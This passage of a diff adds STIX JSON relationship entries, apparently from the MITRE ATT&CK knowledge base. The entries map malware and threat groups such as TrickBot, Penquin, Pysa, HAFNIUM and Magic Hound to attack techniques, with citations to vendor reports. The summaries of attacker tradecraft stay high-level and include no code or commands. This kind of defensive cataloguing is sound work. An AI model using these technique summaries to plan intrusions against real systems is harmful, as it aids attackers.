"2021-03-02T18:15:56.521Z", + "source_ref": "malware--c9ccc4df-1f56-49e7-ad57-b383e1451688", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "relationship_type": "uses", + "created": "2021-03-01T14:07:36.854Z", + "external_references": [ + { + "url": "https://www.proofpoint.com/us/threat-insight/post/lookback-malware-targets-united-states-utilities-sector-phishing-attacks", + "description": "Raggi, M. Schwarz, D.. (2019, August 1). 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Retrieved March 1, 2021.", + "source_name": "CERT-FR PYSA April 2020" + } + ] + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "relationship", + "id": "relationship--8fd19779-990a-4ce7-9b59-173896e518e8", + "description": "[Pysa](https://attack.mitre.org/software/S0583) has laterally moved using RDP connections.(Citation: CERT-FR PYSA April 2020) ", + "target_ref": "attack-pattern--eb062747-2193-45de-8fa2-e62549c37ddf", + "modified": "2021-03-01T21:59:27.451Z", + "source_ref": "malware--a19c1197-9414-46e3-986f-0f609ff4a46b", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "relationship_type": "uses", + "created": "2021-03-01T21:59:27.451Z", + "external_references": [ + { + "url": "https://www.cert.ssi.gouv.fr/uploads/CERTFR-2020-CTI-003.pdf", + "description": "CERT-FR. (2020, April 1). ATTACKS INVOLVING THE MESPINOZA/PYSA RANSOMWARE. Retrieved March 1, 2021.", + "source_name": "CERT-FR PYSA April 2020" + } + ] + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "relationship", + "id": "relationship--e733d4b5-0881-4de8-9461-58ca239b7c82", + "description": "[Kerrdown](https://attack.mitre.org/software/S0585) has gained execution through victims opening malicious links.(Citation: Amnesty Intl. Ocean Lotus February 2021)", + "target_ref": "attack-pattern--ef67e13e-5598-4adc-bdb2-998225874fa9", + "modified": "2021-09-24T20:24:27.314Z", + "source_ref": "malware--8c1d01ff-fdc0-4586-99bd-c248e0761af5", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "relationship_type": "uses", + "created": "2021-03-02T13:57:47.561Z", + "external_references": [ + { + "url": "https://www.amnestyusa.org/wp-content/uploads/2021/02/Click-and-Bait_Vietnamese-Human-Rights-Defenders-Targeted-with-Spyware-Attacks.pdf", + "description": "Amnesty International. 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Retrieved October 1, 2021.", + "source_name": "Unit 42 KerrDown February 2019" + } + ] + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "relationship", + "id": "relationship--0160acb0-db44-4076-acc6-74c872d5aa08", + "description": "[Kerrdown](https://attack.mitre.org/software/S0585) has been distributed via e-mails containing a malicious link.(Citation: Amnesty Intl. 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Ocean Lotus February 2021)", + "target_ref": "attack-pattern--5282dd9a-d26d-4e16-88b7-7c0f4553daf4", + "modified": "2021-09-24T20:24:27.670Z", + "source_ref": "intrusion-set--247cb30b-955f-42eb-97a5-a89fef69341e", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "relationship_type": "uses", + "created": "2021-03-02T14:05:06.837Z", + "external_references": [ + { + "url": "https://www.amnestyusa.org/wp-content/uploads/2021/02/Click-and-Bait_Vietnamese-Human-Rights-Defenders-Targeted-with-Spyware-Attacks.pdf", + "description": "Amnesty International. (2021, February 24). Vietnamese activists targeted by notorious hacking group. Retrieved March 1, 2021.", + "source_name": "Amnesty Intl. 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Retrieved January 6, 2021.", + "source_name": "Crowdstrike Indrik November 2018" + } + ] + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "relationship", + "id": "relationship--bb2be1f4-f2fc-4029-8ee6-e89f52210dfd", + "description": "[Machete](https://attack.mitre.org/groups/G0095) has distributed [Machete](https://attack.mitre.org/software/S0409) through a fake blog website.(Citation: Securelist Machete Aug 2014)", + "target_ref": "attack-pattern--d742a578-d70e-4d0e-96a6-02a9c30204e6", + "modified": "2021-03-04T19:51:08.302Z", + "source_ref": "intrusion-set--38863958-a201-4ce1-9dbe-539b0b6804e0", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "relationship_type": "uses", + "created": "2021-03-04T19:51:08.302Z", + "external_references": [ + { + "url": "https://securelist.com/el-machete/66108/", + "description": "Kaspersky Global Research and Analysis Team. (2014, August 20). El Machete. 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Retrieved August 21, 2017.", + "source_name": "ClearSky Wilted Tulip July 2017" + } + ] + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "relationship", + "id": "relationship--a33d759f-6106-4e67-9452-72b684ab209a", + "description": "[Chimera](https://attack.mitre.org/groups/G0114) has performed file deletion to evade detection.(Citation: Cycraft Chimera April 2020) ", + "target_ref": "attack-pattern--d63a3fb8-9452-4e9d-a60a-54be68d5998c", + "modified": "2021-03-04T22:05:10.085Z", + "source_ref": "intrusion-set--8c1f0187-0826-4320-bddc-5f326cfcfe2c", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "relationship_type": "uses", + "created": "2021-03-04T22:05:10.085Z", + "external_references": [ + { + "url": "https://cycraft.com/download/%5BTLP-White%5D20200415%20Chimera_V4.1.pdf", + "description": "Cycraft. (2020, April 15). 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Retrieved March 2, 2021.", + "source_name": "PTSecurity Higaisa 2020" + } + ] + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "relationship", + "id": "relationship--c8a0a286-1296-4f87-bc6e-322cd956fb73", + "description": "[HAFNIUM](https://attack.mitre.org/groups/G0125) has obtained IP addresses for publicly-accessible Exchange servers.(Citation: Volexity Exchange Marauder March 2021)", + "target_ref": "attack-pattern--0dda99f0-4701-48ca-9774-8504922e92d3", + "modified": "2021-04-19T17:50:00.284Z", + "source_ref": "intrusion-set--2688b13e-8e71-405a-9c40-0dee94bddf87", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "relationship_type": "uses", + "created": "2021-03-09T16:04:38.886Z", + "external_references": [ + { + "url": "https://www.volexity.com/blog/2021/03/02/active-exploitation-of-microsoft-exchange-zero-day-vulnerabilities/", + "description": "Gruzweig, J. et al. (2021, March 2). Operation Exchange Marauder: Active Exploitation of Multiple Zero-Day Microsoft Exchange Vulnerabilities. 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(2021, March 4). Detection and Response to Exploitation of Microsoft Exchange Zero-Day Vulnerabilities. Retrieved March 9, 2021.", + "source_name": "FireEye Exchange Zero Days March 2021" + } + ] + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "relationship", + "id": "relationship--078fb58f-0b5b-4021-8467-800893c35d08", + "description": "[Magic Hound](https://attack.mitre.org/groups/G0059) gathered credentials from two victims that they then attempted to validate across 75 different websites.(Citation: IBM ITG18 2020)", + "target_ref": "attack-pattern--bc76d0a4-db11-4551-9ac4-01a469cfb161", + "modified": "2021-04-12T20:33:02.797Z", + "source_ref": "intrusion-set--f9d6633a-55e6-4adc-9263-6ae080421a13", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "relationship_type": "uses", + "created": "2021-03-10T20:32:54.398Z", + "external_references": [ + { + "url": "https://securityintelligence.com/posts/new-research-exposes-iranian-threat-group-operations/", + "description": "Wikoff, A. Emerson, R. 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Retrieved March 8, 2021.", + "source_name": "IBM ITG18 2020" + } + ] + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "relationship", + "id": "relationship--1a163c8a-7a12-4cd4-813f-38f5a05ba98d", + "description": "[Magic Hound](https://attack.mitre.org/groups/G0059) has established email accounts using fake personas for spearphishing operations.(Citation: IBM ITG18 2020)(Citation: Proofpoint TA453 March 2021)", + "target_ref": "attack-pattern--65013dd2-bc61-43e3-afb5-a14c4fa7437a", + "modified": "2021-06-02T16:31:56.167Z", + "source_ref": "intrusion-set--f9d6633a-55e6-4adc-9263-6ae080421a13", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "relationship_type": "uses", + "created": "2021-03-10T20:32:54.423Z", + "external_references": [ + { + "url": "https://securityintelligence.com/posts/new-research-exposes-iranian-threat-group-operations/", + "description": "Wikoff, A. Emerson, R. (2020, July 16). New Research Exposes Iranian Threat Group Operations. Retrieved March 8, 2021.", + "source_name": "IBM ITG18 2020" + }, + { + "url": "https://www.proofpoint.com/us/blog/threat-insight/badblood-ta453-targets-us-and-israeli-medical-research-personnel-credential", + "description": "Miller, J. et al. (2021, March 30). BadBlood: TA453 Targets US and Israeli Medical Research Personnel in Credential Phishing Campaigns. Retrieved May 4, 2021.", + "source_name": "Proofpoint TA453 March 2021" + } + ] + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "relationship", + "id": "relationship--32126e79-18ce-4393-a555-50aa34760da9", + "description": "[Magic Hound](https://attack.mitre.org/groups/G0059) has compromised personal email accounts through the use of legitimate credentials and gathered additional victim information.(Citation: IBM ITG18 2020)", + "target_ref": "attack-pattern--3dc8c101-d4db-4f4d-8150-1b5a76ca5f1b", + "modified": "2021-04-12T20:33:02.829Z", + "source_ref": "intrusion-set--f9d6633a-55e6-4adc-9263-6ae080421a13", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "relationship_type": "uses", + "created": "2021-03-10T20:32:54.444Z", + "external_references": [ + { + "url": "https://securityintelligence.com/posts/new-research-exposes-iranian-threat-group-operations/", + "description": "Wikoff, A. Emerson, R. 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MALWARE TECHNICAL INSIGHT TURLA \u201cPenquin_x64\u201d. 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Retrieved March 11, 2021.", + "source_name": "Leonardo Turla Penquin May 2020" + } + ] + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "relationship", + "id": "relationship--729f4b9b-2d25-4e69-9a9b-adaa62c2ee31", + "description": "[Penquin](https://attack.mitre.org/software/S0587) can execute the command code do_download to retrieve remote files from C2.(Citation: Leonardo Turla Penquin May 2020)", + "target_ref": "attack-pattern--e6919abc-99f9-4c6c-95a5-14761e7b2add", + "modified": "2021-03-12T13:56:37.043Z", + "source_ref": "malware--d18cb958-f4ad-4fb3-bb4f-e8994d206550", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "relationship_type": "uses", + "created": "2021-03-11T16:59:40.991Z", + "external_references": [ + { + "url": "https://www.leonardocompany.com/documents/20142/10868623/Malware+Technical+Insight+_Turla+%E2%80%9CPenquin_x64%E2%80%9D.pdf", + "description": "Leonardo. (2020, May 29). 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MALWARE TECHNICAL INSIGHT TURLA \u201cPenquin_x64\u201d. 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Retrieved March 11, 2021.", + "source_name": "Leonardo Turla Penquin May 2020" + } + ] + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "relationship", + "id": "relationship--fa211b49-7df8-4283-8a70-78b4b81bbba9", + "description": "[Penquin](https://attack.mitre.org/software/S0587) has encrypted strings in the binary for obfuscation.(Citation: Leonardo Turla Penquin May 2020)", + "target_ref": "attack-pattern--b3d682b6-98f2-4fb0-aa3b-b4df007ca70a", + "modified": "2021-03-12T14:05:14.010Z", + "source_ref": "malware--d18cb958-f4ad-4fb3-bb4f-e8994d206550", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "relationship_type": "uses", + "created": "2021-03-12T14:05:14.010Z", + "external_references": [ + { + "url": "https://www.leonardocompany.com/documents/20142/10868623/Malware+Technical+Insight+_Turla+%E2%80%9CPenquin_x64%E2%80%9D.pdf", + "description": "Leonardo. (2020, May 29). MALWARE TECHNICAL INSIGHT TURLA \u201cPenquin_x64\u201d. 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(2020, May 29). MALWARE TECHNICAL INSIGHT TURLA \u201cPenquin_x64\u201d. Retrieved March 11, 2021.", + "source_name": "Leonardo Turla Penquin May 2020" + } + ] + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "relationship", + "id": "relationship--d2113f4b-eae4-43a0-bddb-5b6c015d5bf0", + "description": "[UNC2452](https://attack.mitre.org/groups/G0118) has used compromised identities to access VPNs and remote access tools.(Citation: MSTIC NOBELIUM Mar 2021)", + "target_ref": "attack-pattern--10d51417-ee35-4589-b1ff-b6df1c334e8d", + "modified": "2021-03-12T15:58:49.257Z", + "source_ref": "intrusion-set--dc5e2999-ca1a-47d4-8d12-a6984b138a1b", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "relationship_type": "uses", + "created": "2021-03-12T15:58:49.257Z", + "external_references": [ + { + "url": "https://www.microsoft.com/security/blog/2021/03/04/goldmax-goldfinder-sibot-analyzing-nobelium-malware/", + "description": "Nafisi, R., Lelli, A. (2021, March 4). GoldMax, GoldFinder, and Sibot: Analyzing NOBELIUM\u2019s layered persistence. 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DTrack: previously unknown spy-tool by Lazarus hits financial institutions and research centers. Retrieved January 20, 2021.", + "source_name": "Kaspersky Dtrack" + } + ] + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "relationship", + "id": "relationship--9148cfab-450f-4aa7-a427-3ddf8e8d686a", + "description": "[Penquin](https://attack.mitre.org/software/S0587) can sniff network traffic to look for packets matching specific conditions.(Citation: Leonardo Turla Penquin May 2020)(Citation: Kaspersky Turla Penquin December 2014)", + "target_ref": "attack-pattern--3257eb21-f9a7-4430-8de1-d8b6e288f529", + "modified": "2021-03-15T15:39:50.934Z", + "source_ref": "malware--d18cb958-f4ad-4fb3-bb4f-e8994d206550", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "relationship_type": "uses", + "created": "2021-03-15T14:58:08.449Z", + "external_references": [ + { + "url": "https://www.leonardocompany.com/documents/20142/10868623/Malware+Technical+Insight+_Turla+%E2%80%9CPenquin_x64%E2%80%9D.pdf", + "description": "Leonardo. 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MALWARE TECHNICAL INSIGHT TURLA \u201cPenquin_x64\u201d. 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(2020, May 29). MALWARE TECHNICAL INSIGHT TURLA \u201cPenquin_x64\u201d. Retrieved March 11, 2021.", + "source_name": "Leonardo Turla Penquin May 2020" + }, + { + "url": "https://securelist.com/the-penquin-turla-2/67962/", + "description": "Baumgartner, K. and Raiu, C. (2014, December 8). The \u2018Penquin\u2019 Turla. Retrieved March 11, 2021.", + "source_name": "Kaspersky Turla Penquin December 2014" + } + ] + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "relationship", + "id": "relationship--f476b228-f729-4809-b40e-6c402da30c5d", + "description": "[Penquin](https://attack.mitre.org/software/S0587) can delete downloaded executables after running them.(Citation: Leonardo Turla Penquin May 2020)", + "target_ref": "attack-pattern--d63a3fb8-9452-4e9d-a60a-54be68d5998c", + "modified": "2021-03-15T15:14:41.515Z", + "source_ref": "malware--d18cb958-f4ad-4fb3-bb4f-e8994d206550", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "relationship_type": "uses", + "created": "2021-03-15T15:14:41.515Z", + "external_references": [ + { + "url": "https://www.leonardocompany.com/documents/20142/10868623/Malware+Technical+Insight+_Turla+%E2%80%9CPenquin_x64%E2%80%9D.pdf", + "description": "Leonardo. (2020, May 29). MALWARE TECHNICAL INSIGHT TURLA \u201cPenquin_x64\u201d. Retrieved March 11, 2021.", + "source_name": "Leonardo Turla Penquin May 2020" + } + ] + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "relationship", + "id": "relationship--e2b67455-4986-46f4-a4ff-f5ee215ef998", + "description": "[Penquin](https://attack.mitre.org/software/S0587) can report the file system type and disk space of a compromised host to C2.(Citation: Leonardo Turla Penquin May 2020)", + "target_ref": "attack-pattern--354a7f88-63fb-41b5-a801-ce3b377b36f1", + "modified": "2021-03-15T15:20:25.733Z", + "source_ref": "malware--d18cb958-f4ad-4fb3-bb4f-e8994d206550", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "relationship_type": "uses", + "created": "2021-03-15T15:20:25.733Z", + "external_references": [ + { + "url": "https://www.leonardocompany.com/documents/20142/10868623/Malware+Technical+Insight+_Turla+%E2%80%9CPenquin_x64%E2%80%9D.pdf", + "description": "Leonardo. (2020, May 29). MALWARE TECHNICAL INSIGHT TURLA \u201cPenquin_x64\u201d. Retrieved March 11, 2021.", + "source_name": "Leonardo Turla Penquin May 2020" + } + ] + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "relationship", + "id": "relationship--c270ebd7-56e2-4ede-bd45-57da4a0065f2", + "description": "[Penquin](https://attack.mitre.org/software/S0587) can add the executable flag to a downloaded file.(Citation: Leonardo Turla Penquin May 2020)", + "target_ref": "attack-pattern--09b130a2-a77e-4af0-a361-f46f9aad1345", + "modified": "2021-03-15T15:20:25.752Z", + "source_ref": "malware--d18cb958-f4ad-4fb3-bb4f-e8994d206550", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "relationship_type": "uses", + "created": "2021-03-15T15:20:25.752Z", + "external_references": [ + { + "url": "https://www.leonardocompany.com/documents/20142/10868623/Malware+Technical+Insight+_Turla+%E2%80%9CPenquin_x64%E2%80%9D.pdf", + "description": "Leonardo. (2020, May 29). MALWARE TECHNICAL INSIGHT TURLA \u201cPenquin_x64\u201d. Retrieved March 11, 2021.", + "source_name": "Leonardo Turla Penquin May 2020" + } + ] + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "relationship", + "id": "relationship--ce59452d-d258-435f-aa91-329de56eba8e", + "description": "The [Penquin](https://attack.mitre.org/software/S0587) C2 mechanism is based on TCP and UDP packets.(Citation: Kaspersky Turla Penquin December 2014)(Citation: Leonardo Turla Penquin May 2020)", + "target_ref": "attack-pattern--c21d5a77-d422-4a69-acd7-2c53c1faa34b", + "modified": "2021-03-15T15:39:50.464Z", + "source_ref": "malware--d18cb958-f4ad-4fb3-bb4f-e8994d206550", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "relationship_type": "uses", + "created": "2021-03-15T15:39:50.464Z", + "external_references": [ + { + "url": "https://securelist.com/the-penquin-turla-2/67962/", + "description": "Baumgartner, K. and Raiu, C. (2014, December 8). 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Retrieved March 11, 2021.", + "source_name": "Leonardo Turla Penquin May 2020" + } + ] + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "relationship", + "id": "relationship--cf2c7355-42a5-46ac-af88-f7386875165f", + "description": "(Citation: MSTIC NOBELIUM Mar 2021)", + "target_ref": "malware--5c747acd-47f0-4c5a-b9e5-213541fc01e0", + "modified": "2021-03-15T17:54:00.814Z", + "source_ref": "intrusion-set--dc5e2999-ca1a-47d4-8d12-a6984b138a1b", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "relationship_type": "uses", + "created": "2021-03-15T17:54:00.814Z", + "external_references": [ + { + "url": "https://www.microsoft.com/security/blog/2021/03/04/goldmax-goldfinder-sibot-analyzing-nobelium-malware/", + "description": "Nafisi, R., Lelli, A. (2021, March 4). GoldMax, GoldFinder, and Sibot: Analyzing NOBELIUM\u2019s layered persistence. Retrieved March 8, 2021.", + "source_name": "MSTIC NOBELIUM Mar 2021" + } + ] + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "relationship", + "id": "relationship--0eecd867-acf0-42f0-9cf6-a00b729e5d63", + "description": "(Citation: MSTIC NOBELIUM Mar 2021)", + "target_ref": "malware--979adb5a-dc30-48f0-9e3d-9a26d866928c", + "modified": "2021-03-15T17:54:00.831Z", + "source_ref": "intrusion-set--dc5e2999-ca1a-47d4-8d12-a6984b138a1b", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "relationship_type": "uses", + "created": "2021-03-15T17:54:00.831Z", + "external_references": [ + { + "url": "https://www.microsoft.com/security/blog/2021/03/04/goldmax-goldfinder-sibot-analyzing-nobelium-malware/", + "description": "Nafisi, R., Lelli, A. (2021, March 4). GoldMax, GoldFinder, and Sibot: Analyzing NOBELIUM\u2019s layered persistence. Retrieved March 8, 2021.", + "source_name": "MSTIC NOBELIUM Mar 2021" + } + ] + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "relationship", + "id": "relationship--9f372adb-777a-4635-9310-cbb8f432f08e", + "description": "[TrickBot](https://attack.mitre.org/software/S0266) uses vncDll module to remote control the victim machine.(Citation: ESET Trickbot Oct 2020)(Citation: Bitdefender Trickbot March 2020)", + "target_ref": "attack-pattern--4061e78c-1284-44b4-9116-73e4ac3912f7", + "modified": "2021-03-15T18:56:36.730Z", + "source_ref": "malware--00806466-754d-44ea-ad6f-0caf59cb8556", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "relationship_type": "uses", + "created": "2021-03-15T18:56:36.730Z", + "external_references": [ + { + "url": "https://www.welivesecurity.com/2020/10/12/eset-takes-part-global-operation-disrupt-trickbot/", + "description": "Boutin, J. (2020, October 12). ESET takes part in global operation to disrupt Trickbot. Retrieved March 15, 2021.", + "source_name": "ESET Trickbot Oct 2020" + }, + { + "url": "https://www.bitdefender.com/files/News/CaseStudies/study/316/Bitdefender-Whitepaper-TrickBot-en-EN-interactive.pdf", + "description": "Tudorica, R., Maximciuc, A., Vatamanu, C. (2020, March 18). New TrickBot Module Bruteforces RDP Connections, Targets Select Telecommunication Services in US and Hong Kong. Retrieved March 15, 2021.", + "source_name": "Bitdefender Trickbot March 2020" + } + ] + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "relationship", + "id": "relationship--e56f602c-ec9f-46f0-a52f-45b90220314e", + "description": "[TrickBot](https://attack.mitre.org/software/S0266) utilizes EternalBlue and EternalRomance exploits for lateral movement in the modules wormwinDll, wormDll, mwormDll, nwormDll, tabDll.(Citation: ESET Trickbot Oct 2020)", + "target_ref": "attack-pattern--9db0cf3a-a3c9-4012-8268-123b9db6fd82", + "modified": "2021-03-15T18:56:36.733Z", + "source_ref": "malware--00806466-754d-44ea-ad6f-0caf59cb8556", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "relationship_type": "uses", + "created": "2021-03-15T18:56:36.733Z", + "external_references": [ + { + "url": "https://www.welivesecurity.com/2020/10/12/eset-takes-part-global-operation-disrupt-trickbot/", + "description": "Boutin, J. (2020, October 12). ESET takes part in global operation to disrupt Trickbot. Retrieved March 15, 2021.", + "source_name": "ESET Trickbot Oct 2020" + } + ] + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "relationship", + "id": "relationship--9af0d85e-688a-4dd7-a04e-a175e268855c", + "description": "[TrickBot](https://attack.mitre.org/software/S0266) uses module networkDll for process list discovery.(Citation: ESET Trickbot Oct 2020)(Citation: Bitdefender Trickbot March 2020)", + "target_ref": "attack-pattern--8f4a33ec-8b1f-4b80-a2f6-642b2e479580", + "modified": "2021-03-15T18:56:36.741Z", + "source_ref": "malware--00806466-754d-44ea-ad6f-0caf59cb8556", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "relationship_type": "uses", + "created": "2021-03-15T18:56:36.741Z", + "external_references": [ + { + "url": "https://www.welivesecurity.com/2020/10/12/eset-takes-part-global-operation-disrupt-trickbot/", + "description": "Boutin, J. (2020, October 12). ESET takes part in global operation to disrupt Trickbot. Retrieved March 15, 2021.", + "source_name": "ESET Trickbot Oct 2020" + }, + { + "url": "https://www.bitdefender.com/files/News/CaseStudies/study/316/Bitdefender-Whitepaper-TrickBot-en-EN-interactive.pdf", + "description": "Tudorica, R., Maximciuc, A., Vatamanu, C. (2020, March 18). New TrickBot Module Bruteforces RDP Connections, Targets Select Telecommunication Services in US and Hong Kong. Retrieved March 15, 2021.", + "source_name": "Bitdefender Trickbot March 2020" + } + ] + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "relationship", + "id": "relationship--c9932124-c6dd-4c26-a762-bde5be25bed7", + "description": "[TrickBot](https://attack.mitre.org/software/S0266) uses brute-force attack against RDP with rdpscanDll module.(Citation: ESET Trickbot Oct 2020)(Citation: Bitdefender Trickbot March 2020)", + "target_ref": "attack-pattern--b2d03cea-aec1-45ca-9744-9ee583c1e1cc", + "modified": "2021-03-15T18:56:36.782Z", + "source_ref": "malware--00806466-754d-44ea-ad6f-0caf59cb8556", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "relationship_type": "uses", + "created": "2021-03-15T18:56:36.782Z", + "external_references": [ + { + "url": "https://www.welivesecurity.com/2020/10/12/eset-takes-part-global-operation-disrupt-trickbot/", + "description": "Boutin, J. (2020, October 12). ESET takes part in global operation to disrupt Trickbot. Retrieved March 15, 2021.", + "source_name": "ESET Trickbot Oct 2020" + }, + { + "url": "https://www.bitdefender.com/files/News/CaseStudies/study/316/Bitdefender-Whitepaper-TrickBot-en-EN-interactive.pdf", + "description": "Tudorica, R., Maximciuc, A., Vatamanu, C. (2020, March 18). New TrickBot Module Bruteforces RDP Connections, Targets Select Telecommunication Services in US and Hong Kong. Retrieved March 15, 2021.", + "source_name": "Bitdefender Trickbot March 2020" + } + ] + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "relationship", + "id": "relationship--7cbc6309-f5fb-41e5-901b-67f02f29a834", + "description": "[TrickBot](https://attack.mitre.org/software/S0266) module shareDll/mshareDll discovers network shares via the WNetOpenEnumA API.(Citation: ESET Trickbot Oct 2020)(Citation: Bitdefender Trickbot March 2020)", + "target_ref": "attack-pattern--3489cfc5-640f-4bb3-a103-9137b97de79f", + "modified": "2021-03-15T18:56:36.781Z", + "source_ref": "malware--00806466-754d-44ea-ad6f-0caf59cb8556", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "relationship_type": "uses", + "created": "2021-03-15T18:56:36.781Z", + "external_references": [ + { + "url": "https://www.welivesecurity.com/2020/10/12/eset-takes-part-global-operation-disrupt-trickbot/", + "description": "Boutin, J. (2020, October 12). ESET takes part in global operation to disrupt Trickbot. Retrieved March 15, 2021.", + "source_name": "ESET Trickbot Oct 2020" + }, + { + "url": "https://www.bitdefender.com/files/News/CaseStudies/study/316/Bitdefender-Whitepaper-TrickBot-en-EN-interactive.pdf", + "description": "Tudorica, R., Maximciuc, A., Vatamanu, C. (2020, March 18). New TrickBot Module Bruteforces RDP Connections, Targets Select Telecommunication Services in US and Hong Kong. Retrieved March 15, 2021.", + "source_name": "Bitdefender Trickbot March 2020" + } + ] + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "relationship", + "id": "relationship--e84c3f01-fb77-40e6-8507-42bc500bd928", + "description": "[TrickBot](https://attack.mitre.org/software/S0266) establishes persistence in the Startup folder.(Citation: ESET Trickbot Oct 2020)", + "target_ref": "attack-pattern--9efb1ea7-c37b-4595-9640-b7680cd84279", + "modified": "2021-03-15T18:56:36.787Z", + "source_ref": "malware--00806466-754d-44ea-ad6f-0caf59cb8556", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "relationship_type": "uses", + "created": "2021-03-15T18:56:36.787Z", + "external_references": [ + { + "url": "https://www.welivesecurity.com/2020/10/12/eset-takes-part-global-operation-disrupt-trickbot/", + "description": "Boutin, J. (2020, October 12). ESET takes part in global operation to disrupt Trickbot. Retrieved March 15, 2021.", + "source_name": "ESET Trickbot Oct 2020" + } + ] + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "relationship", + "id": "relationship--17525c42-6859-4175-841c-272e85f68be9", + "description": "[TrickBot](https://attack.mitre.org/software/S0266) used COM to setup scheduled task for persistence.(Citation: ESET Trickbot Oct 2020)", + "target_ref": "attack-pattern--2f6b4ed7-fef1-44ba-bcb8-1b4beb610b64", + "modified": "2021-03-15T18:56:36.833Z", + "source_ref": "malware--00806466-754d-44ea-ad6f-0caf59cb8556", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "relationship_type": "uses", + "created": "2021-03-15T18:56:36.833Z", + "external_references": [ + { + "url": "https://www.welivesecurity.com/2020/10/12/eset-takes-part-global-operation-disrupt-trickbot/", + "description": "Boutin, J. (2020, October 12). ESET takes part in global operation to disrupt Trickbot. Retrieved March 15, 2021.", + "source_name": "ESET Trickbot Oct 2020" + } + ] + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "relationship", + "id": "relationship--0768a69c-4bd8-4d2c-8c31-b25547bd31e3", + "description": "[Ebury](https://attack.mitre.org/software/S0377) can list directory entries.(Citation: ESET Ebury Oct 2017) ", + "target_ref": "attack-pattern--7bc57495-ea59-4380-be31-a64af124ef18", + "modified": "2021-03-15T18:58:38.409Z", + 